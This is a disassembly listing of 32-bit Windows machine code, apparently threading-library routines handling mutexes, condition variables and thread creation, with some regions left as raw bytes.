mov [esp+18h], ebx
lea edi, [esi+14h]
push edi
call sub_402225
add esp, 4
test eax, eax
jz short loc_42FC3B
pop edi
pop esi
mov [ebx], eax
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FC3B: ; CODE XREF: ___:0042FC31j
mov ebx, [esi+8]
test ebx, ebx
mov [esp+10h], ebx
jz short loc_42FC4E
lea eax, [ebx-1]
mov [esi+8], eax
jmp short loc_42FCB7
; ---------------------------------------------------------------------------
loc_42FC4E: ; CODE XREF: ___:0042FC44j
mov ecx, [esi+4]
inc ecx
mov eax, ecx
mov [esi+4], ecx
cmp eax, 3FFFFFFFh
jnz short loc_42FCB7
lea ebx, [esi+10h]
push ebx
call sub_401041
add esp, 4
test eax, eax
jz short loc_42FC82
call near ptr 77C1F2BCh
nop
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FC82: ; CODE XREF: ___:0042FC6Cj
mov eax, [esi+4]
mov ecx, [esi]
sub ecx, eax
push ebx
mov [esi], ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42FCAC
call near ptr 77C1F2BCh
nop
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FCAC: ; CODE XREF: ___:0042FC96j
mov ebx, [esp+10h]
mov dword ptr [esi+4], 0
loc_42FCB7: ; CODE XREF: ___:0042FC4Cj
; ___:0042FC5Cj
push edi
call sub_4010C3
add esp, 4
test eax, eax
jz short loc_42FCD0
mov ecx, [esp+18h]
pop edi
pop esi
pop ebp
mov [ecx], eax
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FCD0: ; CODE XREF: ___:0042FCC2j
cmp ebx, 1
jnz short loc_42FCF9
add esi, 10h
push esi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42FCF9
nop
call near ptr 77C1F2BCh
mov edx, [eax]
mov eax, [esp+18h]
pop edi
pop esi
pop ebp
mov [eax], edx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FCF9: ; CODE XREF: ___:0042FCD3j
; ___:0042FCE3j
mov ecx, [ebp+0]
push ecx
call sub_402225
add esp, 4
test eax, eax
jz short loc_42FD0F
mov edx, [esp+18h]
mov [edx], eax
loc_42FD0F: ; CODE XREF: ___:0042FD07j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FD70 proc near ; CODE XREF: sub_4011E0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jnz short loc_42FD7E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_42FD7E: ; CODE XREF: sub_42FD70+6j
mov ecx, [esp+arg_0]
push eax
mov eax, [esp+4+arg_4]
push eax
push ecx
call sub_42FAA0
add esp, 0Ch
retn
sub_42FD70 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FDB0 proc near ; CODE XREF: sub_401E51j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_42FDD0
add esp, 8
retn
sub_42FDB0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FDD0 proc near ; CODE XREF: sub_42FDB0+7p
; sub_42FF30+7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebx
push esi
push edi
test eax, eax
jz loc_42FED4
mov esi, [eax]
test esi, esi
jz loc_42FED4
cmp esi, 0FFFFFFFFh
jnz short loc_42FDF4
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42FDF4: ; CODE XREF: sub_42FDD0+1Cj
lea ebx, [esi+14h]
push ebx
call sub_402225
add esp, 4
test eax, eax
jnz loc_42FED9
mov ecx, [esi+8]
mov eax, [esi]
test ecx, ecx
jz short loc_42FE44
test eax, eax
jnz short loc_42FE22
loc_42FE15: ; CODE XREF: sub_42FDD0+77j
push ebx
call sub_4010C3
add esp, 4
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42FE22: ; CODE XREF: sub_42FDD0+43j
mov edx, [esp+0Ch+arg_4]
test edx, edx
jz short loc_42FE39
mov edi, eax
mov dword ptr [esi], 0
add ecx, edi
mov [esi+8], ecx
jmp short loc_42FEA6
; ---------------------------------------------------------------------------
loc_42FE39: ; CODE XREF: sub_42FDD0+58j
inc ecx
mov edi, 1
mov [esi+8], ecx
jmp short loc_42FEA3
; ---------------------------------------------------------------------------
loc_42FE44: ; CODE XREF: sub_42FDD0+3Fj
cmp eax, [esi+4]
jle short loc_42FE15
lea ecx, [esi+10h]
push ecx
call sub_401041
add esp, 4
test eax, eax
jz short loc_42FE70
nop
call near ptr 77C1F2BCh
mov esi, [eax]
push ebx
call sub_4010C3
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42FE70: ; CODE XREF: sub_42FDD0+87j
mov eax, [esi+4]
test eax, eax
jz short loc_42FE84
mov ecx, [esi]
mov dword ptr [esi+4], 0
sub ecx, eax
mov [esi], ecx
loc_42FE84: ; CODE XREF: sub_42FDD0+A5j
mov eax, [esp+0Ch+arg_4]
test eax, eax
jz short loc_42FE99
mov edi, [esi]
mov dword ptr [esi], 0
mov [esi+8], edi
jmp short loc_42FEA6
; ---------------------------------------------------------------------------
loc_42FE99: ; CODE XREF: sub_42FDD0+BAj
mov eax, [esi]
mov edi, 1
mov [esi+8], edi
loc_42FEA3: ; CODE XREF: sub_42FDD0+72j
dec eax
mov [esi], eax
loc_42FEA6: ; CODE XREF: sub_42FDD0+67j
; sub_42FDD0+C7j
push ebx
call sub_4010C3
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_42FECE
add esi, 0Ch
push edi
push esi
call sub_40204A
add esp, 8
test eax, eax
jz short loc_42FECE
nop
call near ptr 77C1F2BCh
mov ebx, [eax]
loc_42FECE: ; CODE XREF: sub_42FDD0+E3j
; sub_42FDD0+F4j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42FED4: ; CODE XREF: sub_42FDD0+9j
; sub_42FDD0+13j
mov eax, 16h
loc_42FED9: ; CODE XREF: sub_42FDD0+32j
pop edi
pop esi
pop ebx
retn
sub_42FDD0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FF30 proc near ; CODE XREF: sub_401604j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_42FDD0
add esp, 8
retn
sub_42FF30 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FF50 proc near ; CODE XREF: sub_40123Aj
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ecx
push ebx
push esi
push edi
mov edi, 0Bh
xor ebx, ebx
call sub_401B13
mov esi, eax
test esi, esi
jz loc_430026
mov eax, [esi+28h]
push 0Ch
mov [esp+14h+var_4], eax
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jz loc_430026
mov ecx, [esp+10h+arg_8]
mov edx, [esp+10h+arg_C]
push ebp
mov ebp, [esp+14h+arg_4]
test ebp, ebp
mov [ebx], esi
mov [ebx+4], ecx
mov [ebx+8], edx
jz short loc_42FFCE
mov eax, [ebp+0]
test eax, eax
jz short loc_42FFCE
mov edi, [eax+8]
mov eax, [eax+0Ch]
mov [esi+20h], eax
mov eax, [ebp+0]
mov ecx, [eax+10h]
mov [esp+14h+var_4], ecx
mov ecx, [eax+14h]
test ecx, ecx
jnz short loc_42FFD0
call sub_4012E4
; ---------------------------------------------------------------------------
mov edx, [eax+28h]
mov [esp+14h+var_4], edx
jmp short loc_42FFD0
; ---------------------------------------------------------------------------
loc_42FFCE: ; CODE XREF: sub_42FF50+4Dj
; sub_42FF50+54j
xor edi, edi
loc_42FFD0: ; CODE XREF: sub_42FF50+6Ej
; sub_42FF50+7Cj
push esi
push 4
push ebx
xor eax, eax
push offset loc_401B95
push edi
push eax
mov [esi+0Ch], eax
mov [esi+80h], eax
nop
call near ptr 77C3A3DBh
mov edi, eax
add esp, 18h
test edi, edi
mov [esi+4], edi
jz short loc_430019
test ebp, ebp
jz short loc_430012
cmp dword ptr [ebp+0], 0
jz short loc_430012
mov eax, [esp+14h+var_4]
push eax
push 0
push esi
call sub_4020B3
add esp, 0Ch
loc_430012: ; CODE XREF: sub_42FF50+AAj
; sub_42FF50+B0j
push edi
nop
call near ptr 2770000h
loc_430019: ; CODE XREF: sub_42FF50+A6j
neg edi
sbb edi, edi
pop ebp
and edi, 0FFFFFFF5h
add edi, 0Bh
jz short loc_430059
loc_430026: ; CODE XREF: sub_42FF50+14j
; sub_42FF50+30j
push esi
call sub_4017AD
add esp, 4
xor esi, esi
test ebx, ebx
jz short loc_43004C
push ebx
nop
call near ptr 77C2C21Bh
mov ecx, [esp+14h+arg_0]
add esp, 4
mov eax, edi
mov [ecx], esi
pop edi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_43004C: ; CODE XREF: sub_42FF50+E3j
mov edx, [esp+10h+arg_0]
mov eax, edi
pop edi
mov [edx], esi
pop esi
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_430059: ; CODE XREF: sub_42FF50+D4j
mov eax, [esp+10h+arg_0]
mov [eax], esi
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
retn
sub_42FF50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4300C0: ; CODE XREF: ___:00401343j
mov ecx, [esp+8]
mov eax, 1
cmp ecx, 3 ; switch 4 cases
ja short locret_4300F7 ; default
jmp off_4300FC[ecx*4] ; switch jump
loc_4300D5: ; DATA XREF: ___:off_4300FCo
call sub_401708 ; jumptable 004300CE case 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_4300DD: ; CODE XREF: ___:004300CEj
; DATA XREF: ___:off_4300FCo
call sub_4017B2 ; jumptable 004300CE case 2
retn 0Ch
; ---------------------------------------------------------------------------
loc_4300E5: ; CODE XREF: ___:004300CEj
; DATA XREF: ___:off_4300FCo
call sub_4017C1 ; jumptable 004300CE case 3
retn 0Ch
; ---------------------------------------------------------------------------
loc_4300ED: ; CODE XREF: ___:004300CEj
; DATA XREF: ___:off_4300FCo
call sub_4017C1 ; jumptable 004300CE case 0
call sub_40161D
locret_4300F7: ; CODE XREF: ___:004300CCj
retn 0Ch ; default
; ---------------------------------------------------------------------------
align 4
off_4300FC dd offset loc_4300ED ; DATA XREF: ___:004300CEr
dd offset loc_4300D5 ; jump table for switch statement
dd offset loc_4300DD
dd offset loc_4300E5
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430130: ; CODE XREF: ___:004017B7j
mov eax, dword_50E3E8
push esi
push edi
push eax
call sub_401190
; ---------------------------------------------------------------------------
db 8Bh, 7Ch, 24h
dd 83F08B10h, 0F68504C4h, 0E8570A75h, 7780A1B7h, 4C48390h
dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h)
dd 4 dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_430180 proc near ; CODE XREF: sub_401758j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push offset dword_50E900
xor esi, esi
nop
call near ptr 7C901005h
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_4301AB
mov eax, [eax+4]
test eax, eax
jz short loc_4301AB
push eax
nop
call near ptr 2760611h
cmp eax, 7FFFFFFFh
jnz short loc_4301B0
loc_4301AB: ; CODE XREF: sub_430180+14j
; sub_430180+1Bj
mov esi, 3
loc_4301B0: ; CODE XREF: sub_430180+29j
push offset dword_50E900
nop
call near ptr 7C9010EDh
test esi, esi
jnz short loc_4301CC
mov eax, [esp+4+arg_4]
test eax, eax
mov eax, 16h
jnz short loc_4301CE
loc_4301CC: ; CODE XREF: sub_430180+3Dj
mov eax, esi
loc_4301CE: ; CODE XREF: sub_430180+4Aj
pop esi
retn
sub_430180 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4301F0: ; CODE XREF: ___:0040164Aj
push ebx
push esi
mov esi, [esp+0Ch]
push edi
test esi, esi
jz short loc_430241
mov edi, [esp+14h]
test edi, edi
jz short loc_430241
mov eax, [esi]
xor ebx, ebx
test eax, eax
jnz short loc_430221
lea eax, [esi+4]
push eax
nop
call near ptr 2760595h
test eax, eax
jnz short loc_430227
call edi ; _errno
mov dword ptr [esi], 1
loc_430221: ; CODE XREF: ___:00430209j
; ___:0043022Aj
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430227: ; CODE XREF: ___:00430217j
cmp dword ptr [esi], 0
jnz short loc_430221
mov edi, dword_50F8D0
loc_430232: ; CODE XREF: ___:00430239j
push 0
call edi
cmp dword ptr [esi], 0
jz short loc_430232
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_430241: ; CODE XREF: ___:004301F9j
; ___:00430201j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430270 proc near ; CODE XREF: sub_4012E4j
mov eax, dword_50E3E8
push esi
push edi
push eax
call sub_401190
sub_430270 endp
; ---------------------------------------------------------------------------
db 8Bh, 0F0h, 83h
dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h, 7C7E8B5Bh
dd 1B8h, 53F80B00h, 897C7E89h, 0AFE82046h, 90023209h, 0F8701D8Bh
dd 26A0050h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 0AFE89050h
dd 50023507h, 9050D3FFh, 32FD33E8h, 5BC08502h, 0E8560E75h
dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 330328E8h
dd 28468902h, 0E3E8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh
dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_430340 proc near ; CODE XREF: sub_401A50j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jnz short loc_43035E
test eax, eax
jz short loc_430358
mov eax, [eax]
mov edx, [ecx]
cmp eax, edx
jnz short loc_43035E
loc_430358: ; CODE XREF: sub_430340+Ej
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_43035E: ; CODE XREF: sub_430340+Aj
; sub_430340+16j
xor eax, eax
retn
sub_430340 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430380: ; CODE XREF: ___:00401FF0j
mov eax, [esp+4]
test eax, eax
jge short loc_43038E
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_43038E: ; CODE XREF: ___:00430386j
mov dword_50E3F8, eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4303B0: ; CODE XREF: ___:0040155Aj
mov eax, dword_50E3F8
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4303D0 proc near ; CODE XREF: sub_401B13j
push esi
call sub_401307
mov esi, eax
test esi, esi
jnz short loc_4303F2
push 84h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jz short loc_430439
loc_4303F2: ; CODE XREF: sub_4303D0+Aj
push 0
push 0
or eax, 0FFFFFFFFh
push 1
push 0
mov dword ptr [esi+28h], 0
mov dword ptr [esi+20h], 0
mov dword ptr [esi+30h], 0
mov dword ptr [esi+34h], 1
mov [esi+2Ch], eax
mov [esi+24h], eax
nop
call near ptr 27508C9h
test eax, eax
mov [esi+38h], eax
jnz short loc_430439
push esi
call sub_401BBD
add esp, 4
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_430439: ; CODE XREF: sub_4303D0+20j
; sub_4303D0+5Aj
mov eax, esi
pop esi
retn
sub_4303D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430460 proc near ; CODE XREF: sub_401307j
push esi
push offset dword_50E900
nop
call near ptr 7C901005h
mov esi, dword_44574C
cmp esi, 1
jz short loc_430495
mov eax, [esi+8]
push offset dword_50E900
mov dword_44574C, eax
mov dword ptr [esi+8], 0
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_430495: ; CODE XREF: sub_430460+15j
push offset dword_50E900
xor esi, esi
call near ptr 7C9010EDh
nop
mov eax, esi
pop esi
retn
sub_430460 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4304D0 proc near ; CODE XREF: sub_401BBDj
arg_0 = dword ptr 4
push edi
push offset dword_50E900
nop
call near ptr 7C901005h
mov edx, [esp+4+arg_0]
mov ecx, 21h
xor eax, eax
mov edi, edx
rep stosd
mov eax, dword_44574C
push offset dword_50E900
mov [edx+8], eax
mov dword_44574C, edx
nop
call near ptr 7C9010EDh
pop edi
retn
sub_4304D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430520 proc near ; CODE XREF: sub_401640j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0FFFFFFFFh
push eax
call sub_430540
sub_430520 endp
; ---------------------------------------------------------------------------
add esp, 8
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430540 proc near ; CODE XREF: sub_430520+7p
; sub_430660+Ap
var_8 = dword ptr -8
arg_0 = dword ptr 4
sub esp, 8
mov eax, [esp+8+arg_0]
push esi
push edi
mov edi, 1
mov [esp+10h+var_8], eax
call sub_4012E4
sub_430540 endp
; ---------------------------------------------------------------------------
mov esi, eax
test esi, esi
jz short loc_430576
mov eax, [esi+30h]
test eax, eax
jnz short loc_43057E
mov eax, [esi+38h]
test eax, eax
mov [esp+0Ch], eax
jz short loc_43057E
mov edi, 2
jmp short loc_43057E
; ---------------------------------------------------------------------------
loc_430576: ; CODE XREF: ___:0043055Bj
mov dword ptr [esp+0Ch], 0
loc_43057E: ; CODE XREF: ___:00430562j
; ___:0043056Dj ...
mov ecx, [esp+18h]
lea edx, [esp+8]
push ecx
push 0
push edx
push edi
nop
call near ptr 2750758h
mov ecx, eax
sub ecx, 0
jz short loc_430609
dec ecx
jz short loc_4305B4
sub eax, 102h
pop edi
neg eax
sbb eax, eax
pop esi
and eax, 0FFFFD8CAh
add eax, 274Ch
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4305B4: ; CODE XREF: ___:00430599j
mov eax, [esp+0Ch]
push eax
nop
call near ptr 277051Fh
test esi, esi
jz short loc_4305FE
lea edi, [esi+2Ch]
push edi
call sub_402225
mov ecx, [esi+0Ch]
mov eax, 3
add esp, 4
cmp ecx, eax
jge short loc_4305F5
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DD4
; ---------------------------------------------------------------------------
add esp, 8
loc_4305F5: ; CODE XREF: ___:004305D9j
push edi
call sub_4010C3
add esp, 4
loc_4305FE: ; CODE XREF: ___:004305C1j
pop edi
mov eax, 16h
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_430609: ; CODE XREF: ___:00430596j
pop edi
xor eax, eax
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_430660 proc near ; CODE XREF: sub_401D70j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_430540
sub_430660 endp
; ---------------------------------------------------------------------------
add esp, 8
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430690 proc near ; CODE XREF: sub_401C03j
arg_0 = dword ptr 4
push esi
push offset dword_50E960
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_4306C4
push esi
push ecx
call sub_402199
add esp, 8
mov esi, eax
push offset dword_50E960
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4306C4: ; CODE XREF: sub_430690+17j
test eax, eax
jnz short loc_4306CD
mov esi, 16h
loc_4306CD: ; CODE XREF: sub_430690+36j
push offset dword_50E960
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_430690 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430700 proc near ; CODE XREF: sub_402199j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push ebp
xor ebp, ebp
push edi
test eax, eax
jnz short loc_430714
pop edi
mov eax, 16h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430714: ; CODE XREF: sub_430700+Aj
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_43072F
mov eax, [edi]
test eax, eax
jz short loc_43072F
cmp dword ptr [eax], 1
jnz short loc_43072F
pop edi
mov eax, 28h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_43072F: ; CODE XREF: sub_430700+1Aj
; sub_430700+20j ...
push esi
push 2Ch
push 1
call near ptr 77C2C0C3h
nop
mov esi, eax
add esp, 8
test esi, esi
jnz short loc_430754
mov edx, [esp+0Ch+arg_0]
mov ebp, 0Ch
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_430754: ; CODE XREF: sub_430700+41j
test edi, edi
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0
jz short loc_430770
mov edi, [edi]
test edi, edi
jz short loc_430770
mov edi, [edi+4]
jmp short loc_430772
; ---------------------------------------------------------------------------
loc_430770: ; CODE XREF: sub_430700+63j
; sub_430700+69j
xor edi, edi
loc_430772: ; CODE XREF: sub_430700+6Ej
push 0
lea eax, [esi+10h]
push 0
push eax
mov [esi+8], edi
mov dword ptr [esi+0Ch], 0
call sub_401C76
add esp, 0Ch
test eax, eax
jz short loc_4307AD
push esi
mov ebp, 0Bh
nop
call near ptr 77C2C21Bh
mov edx, [esp+10h+arg_0]
add esp, 4
xor esi, esi
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4307AD: ; CODE XREF: sub_430700+8Ej
lea ecx, [esi+14h]
push ecx
nop
call near ptr 27806E9h
mov edx, [esp+0Ch+arg_0]
mov eax, ebp
mov [edx], esi
pop esi
pop edi
pop ebp
retn
sub_430700 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430810 proc near ; CODE XREF: sub_40222Fj
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
test edi, edi
jz loc_4308F0
mov eax, [edi]
test eax, eax
jz loc_4308F0
cmp eax, 0FFFFFFFFh
jz loc_4308B5
mov [esp+8+arg_0], eax
lea eax, [esp+8+arg_0]
push eax
call sub_40177B
mov esi, eax
add esp, 4
test esi, esi
jnz loc_4308EB
mov ecx, [esp+8+arg_0]
mov eax, [ecx+4]
cmp eax, 1
jnz short loc_4308A7
lea ecx, [esp+8+arg_0]
mov [edi], esi
push ecx
call sub_4010C3
mov edx, [esp+0Ch+arg_0]
mov esi, eax
add esp, 4
test esi, esi
jnz short loc_4308A0
add edx, 10h
push edx
call sub_401686
mov eax, [esp+0Ch+arg_0]
add esp, 4
add eax, 14h
push eax
nop
call near ptr 2780000h
mov ecx, [esp+8+arg_0]
push ecx
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308A0: ; CODE XREF: sub_430810+61j
mov [edi], edx
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308A7: ; CODE XREF: sub_430810+48j
dec eax
mov esi, 10h
mov [ecx+4], eax
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308B5: ; CODE XREF: sub_430810+1Dj
push offset dword_50E960
nop
call near ptr 7C901005h
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_4308DB
push offset dword_50E960
mov dword ptr [edi], 0
nop
call near ptr 7C9010EDh
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308DB: ; CODE XREF: sub_430810+B3j
push offset dword_50E960
mov esi, 10h
call near ptr 7C9010EDh
nop
loc_4308EB: ; CODE XREF: sub_430810+38j
mov eax, esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4308F0: ; CODE XREF: sub_430810+Aj
; sub_430810+14j
pop edi
mov eax, 16h
pop esi
retn
sub_430810 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430940 proc near ; CODE XREF: sub_401A0Fj
arg_0 = dword ptr 4
push esi
push 8
push 1
xor esi, esi
call near ptr 77C2C0C3h
nop
add esp, 8
cmp eax, esi
jnz short loc_430963
mov edx, [esp+4+arg_0]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_430963: ; CODE XREF: sub_430940+12j
mov ecx, [esp+4+arg_0]
mov [eax], esi
mov [eax+4], esi
mov [ecx], eax
mov eax, esi
pop esi
retn
sub_430940 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430990 proc near ; CODE XREF: sub_4010AAj
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
xor esi, esi
test ecx, ecx
jz short loc_4309B1
mov eax, [ecx]
test eax, eax
jz short loc_4309B1
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4309B1: ; CODE XREF: sub_430990+9j
; sub_430990+Fj
mov eax, 16h
pop esi
retn
sub_430990 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4309D0: ; CODE XREF: ___:00401BA9j
mov eax, [esp+4]
test eax, eax
jz short loc_4309ED
mov eax, [eax]
test eax, eax
jz short loc_4309ED
mov ecx, [esp+8]
test ecx, ecx
jz short loc_4309ED
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4309ED: ; CODE XREF: ___:004309D6j
; ___:004309DCj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_430A10: ; CODE XREF: ___:004018F7j
mov eax, [esp+4]
test eax, eax
jz short loc_430A3A
mov ecx, [eax]
test ecx, ecx
jz short loc_430A3A
mov eax, [esp+8]
cmp eax, 1
jz short loc_430A2E
test eax, eax
jnz short loc_430A3A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_430A2E: ; CODE XREF: ___:00430A25j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_430A3A: ; CODE XREF: ___:00430A16j
; ___:00430A1Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430A50 proc near ; CODE XREF: sub_40119Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_430A71
mov ecx, [ecx]
test ecx, ecx
jz short loc_430A71
mov edx, [esp+arg_4]
test edx, edx
jl short loc_430A71
cmp edx, 2
jg short loc_430A71
mov [ecx+4], edx
retn
; ---------------------------------------------------------------------------
loc_430A71: ; CODE XREF: sub_430A50+8j
; sub_430A50+Ej ...
mov eax, 16h
retn
sub_430A50 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_430A90 proc near ; CODE XREF: sub_4018C0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
xor eax, eax
test ecx, ecx
jz short loc_430AAE
mov ecx, [ecx]
test ecx, ecx
jz short loc_430AAE
mov edx, [esp+arg_4]
test edx, edx
jz short loc_430AAE
mov ecx, [ecx+4]
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
